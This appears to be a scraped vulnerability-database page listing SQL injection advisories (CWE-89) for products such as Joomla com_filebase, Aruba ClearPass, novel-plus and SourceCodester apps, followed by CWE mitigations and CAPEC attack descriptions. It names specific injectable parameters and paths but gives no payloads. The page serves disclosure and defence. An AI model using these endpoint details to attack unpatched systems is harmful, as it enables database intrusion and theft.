    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-02-19T02:00:00Z",
    "severity": "HIGH"
  },
  "details": "SQL injection vulnerability in the com_filebase component for Joomla! and Mambo allows remote attackers to execute arbitrary SQL commands via the filecatid parameter in a selectfolder action.",
  "id": "GHSA-p86x-cwxm-x46m",
  "modified": "2022-05-01T23:33:25Z",
  "published": "2022-05-01T23:33:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-0817"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/40616"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3665"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/488268/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/488284/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27829"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P87H-QJXG-9PG4

Vulnerability from github – Published: 2023-01-13 21:30 – Updated: 2023-01-20 09:30
VLAI
Details

Helmet Store Showroom Site v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_helmet.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-46949"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-13T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Helmet Store Showroom Site v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /classes/Master.php?f=delete_helmet.",
  "id": "GHSA-p87h-qjxg-9pg4",
  "modified": "2023-01-20T09:30:30Z",
  "published": "2023-01-13T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46949"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Venus-XATBLab-YT/bug_report/blob/main/helmet-store-showroom-site/SQLi-3.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P87P-59P8-545P

Vulnerability from github – Published: 2022-05-14 01:36 – Updated: 2022-05-14 01:36
VLAI
Details

An authenticated SQL injection vulnerability in Aruba ClearPass Policy Manager can lead to privilege escalation. All versions of ClearPass are affected by multiple authenticated SQL injection vulnerabilities. In each case, an authenticated administrative user of any type could exploit this vulnerability to gain access to "appadmin" credentials, leading to complete cluster compromise. Resolution: Fixed in 6.7.6 and 6.6.10-hotfix.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-7065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-12-07T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "An authenticated SQL injection vulnerability in Aruba ClearPass Policy Manager can lead to privilege escalation. All versions of ClearPass are affected by multiple authenticated SQL injection vulnerabilities. In each case, an authenticated administrative user of any type could exploit this vulnerability to gain access to \"appadmin\" credentials, leading to complete cluster compromise. Resolution: Fixed in 6.7.6 and 6.6.10-hotfix.",
  "id": "GHSA-p87p-59p8-545p",
  "modified": "2022-05-14T01:36:39Z",
  "published": "2022-05-14T01:36:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7065"
    },
    {
      "type": "WEB",
      "url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2018-007.txt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P87R-26QQ-PMJH

Vulnerability from github – Published: 2023-07-11 18:31 – Updated: 2023-07-11 18:31
VLAI
Details

A vulnerability was found in SourceCodester AC Repair and Services System 1.0 and classified as critical. This issue affects some unknown processing of the file Master.php?f=save_service of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The identifier VDB-233573 was assigned to this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3619"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-11T16:15:12Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was found in SourceCodester AC Repair and Services System 1.0 and classified as critical. This issue affects some unknown processing of the file Master.php?f=save_service of the component HTTP POST Request Handler. The manipulation of the argument id leads to sql injection. The attack may be initiated remotely. The identifier VDB-233573 was assigned to this vulnerability.",
  "id": "GHSA-p87r-26qq-pmjh",
  "modified": "2023-07-11T18:31:22Z",
  "published": "2023-07-11T18:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3619"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.233573"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.233573"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P87V-RJF5-5M8X

Vulnerability from github – Published: 2023-03-23 21:30 – Updated: 2023-03-27 21:30
VLAI
Details

A vulnerability was found in novel-plus 3.6.2 and classified as critical. Affected by this issue is some unknown functionality of the file DictController.java. The manipulation of the argument orderby leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-223736.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-1606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-23T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability was found in novel-plus 3.6.2 and classified as critical. Affected by this issue is some unknown functionality of the file DictController.java. The manipulation of the argument orderby leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-223736.",
  "id": "GHSA-p87v-rjf5-5m8x",
  "modified": "2023-03-27T21:30:26Z",
  "published": "2023-03-23T21:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1606"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OYyunshen/Poc/blob/main/Novel-PlusSqli1.pdf"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.223736"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.223736"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P882-HH8R-7PQC

Vulnerability from github – Published: 2022-05-02 06:18 – Updated: 2022-05-02 06:18
VLAI
Details

Multiple SQL injection vulnerabilities in index.php in Rostermain 1.1 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) userid (username) and (2) password parameters.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-1046"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2010-03-23T01:00:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple SQL injection vulnerabilities in index.php in Rostermain 1.1 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) userid (username) and (2) password parameters.",
  "id": "GHSA-p882-hh8r-7pqc",
  "modified": "2022-05-02T06:18:25Z",
  "published": "2022-05-02T06:18:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-1046"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/62162"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/38440"
    },
    {
      "type": "WEB",
      "url": "http://www.exploit-db.com/exploits/11356"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2010/0318"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-P885-9JGR-449P

Vulnerability from github – Published: 2026-01-13 18:31 – Updated: 2026-01-14 15:32
VLAI
Details

phpgurukul News Portal Project V4.1 is vulnerable to SQL Injection in check_availablity.php.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-69991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-13T16:16:04Z",
    "severity": "CRITICAL"
  },
  "details": "phpgurukul News Portal Project V4.1 is vulnerable to SQL Injection in check_availablity.php.",
  "id": "GHSA-p885-9jgr-449p",
  "modified": "2026-01-14T15:32:58Z",
  "published": "2026-01-13T18:31:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69991"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Y4y17/CVE/blob/main/News%20Portal%20Project/SQL%20Injection.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

  • If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

  • Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-28
Implementation

Strategy: Output Encoding

  • While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
  • Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.
  • When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-108: Command Line Execution through SQL Injection

An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

CAPEC-109: Object Relational Mapping Injection

An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.

CAPEC-110: SQL Injection through SOAP Parameter Tampering

An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.

CAPEC-470: Expanding Control over the Operating System from the Database

An attacker is able to leverage access gained to the database to read / write data to the file system, compromise the operating system, create a tunnel for accessing the host machine, and use this access to potentially attack other machines on the same network as the database machine. Traditionally SQL injections attacks are viewed as a way to gain unauthorized read access to the data stored in the database, modify the data in the database, delete the data, etc. However, almost every data base management system (DBMS) system includes facilities that if compromised allow an attacker complete access to the file system, operating system, and full access to the host running the database. The attacker can then use this privileged access to launch subsequent attacks. These facilities include dropping into a command shell, creating user defined functions that can call system level libraries present on the host machine, stored procedures, etc.

CAPEC-66: SQL Injection

This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.

CAPEC-7: Blind SQL Injection

Blind SQL Injection results from an insufficient mitigation for SQL Injection. Although suppressing database error messages are considered best practice, the suppression alone is not sufficient to prevent SQL Injection. Blind SQL Injection is a form of SQL Injection that overcomes the lack of error messages. Without the error messages that facilitate SQL Injection, the adversary constructs input strings that probe the target through simple Boolean SQL expressions. The adversary can determine if the syntax and structure of the injection was successful based on whether the query was executed or not. Applied iteratively, the adversary determines how and where the target is vulnerable to SQL Injection.